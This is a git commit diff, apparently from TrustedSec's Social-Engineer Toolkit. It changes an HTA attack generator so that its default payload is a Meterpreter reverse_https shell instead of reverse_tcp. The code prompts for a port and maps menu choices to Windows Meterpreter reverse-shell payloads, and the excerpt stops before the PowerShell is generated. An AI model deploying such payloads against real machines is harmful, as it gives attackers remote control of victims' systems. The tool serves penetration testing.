changed the hta payload around for reverse_https

This commit is contained in:
TrustedSec 2016-06-27 10:58:49 -04:00
parent cffad87ea3
commit dfbf747df1

View file

@ -15,18 +15,18 @@ def gen_hta_cool_stuff():
port = input("Enter the port for the reverse payload [443]: ") port = input("Enter the port for the reverse payload [443]: ")
if port == "": if port == "":
port = "443" port = "443"
print("""Select the payload you want to deliver:\n\n 1. Meterpreter Reverse TCP\n 2. Meterpreter Reverse HTTP\n 3. Meterpreter Reverse HTTPS\n""") print("""Select the payload you want to deliver:\n\n 1. Meterpreter Reverse HTTPS\n 2. Meterpreter Reverse HTTP\n 3. Meterpreter Reverse TCP\n""")
selection = input("Enter the payload number [1-3]: ") selection = input("Enter the payload number [1-3]: ")
# define the payloads # define the payloads
if selection == "": if selection == "":
selection = "3" selection = "1"
if selection == "1": if selection == "1":
selection = "windows/meterpreter/reverse_tcp" selection = "windows/meterpreter/reverse_https"
if selection == "2": if selection == "2":
selection = "windows/meterpreter/reverse_http" selection = "windows/meterpreter/reverse_http"
if selection == "3": if selection == "3":
selection = "windows/meterpreter/reverse_https" selection = "windows/meterpreter/reverse_tcp"
# generate powershell code # generate powershell code
print_status( print_status(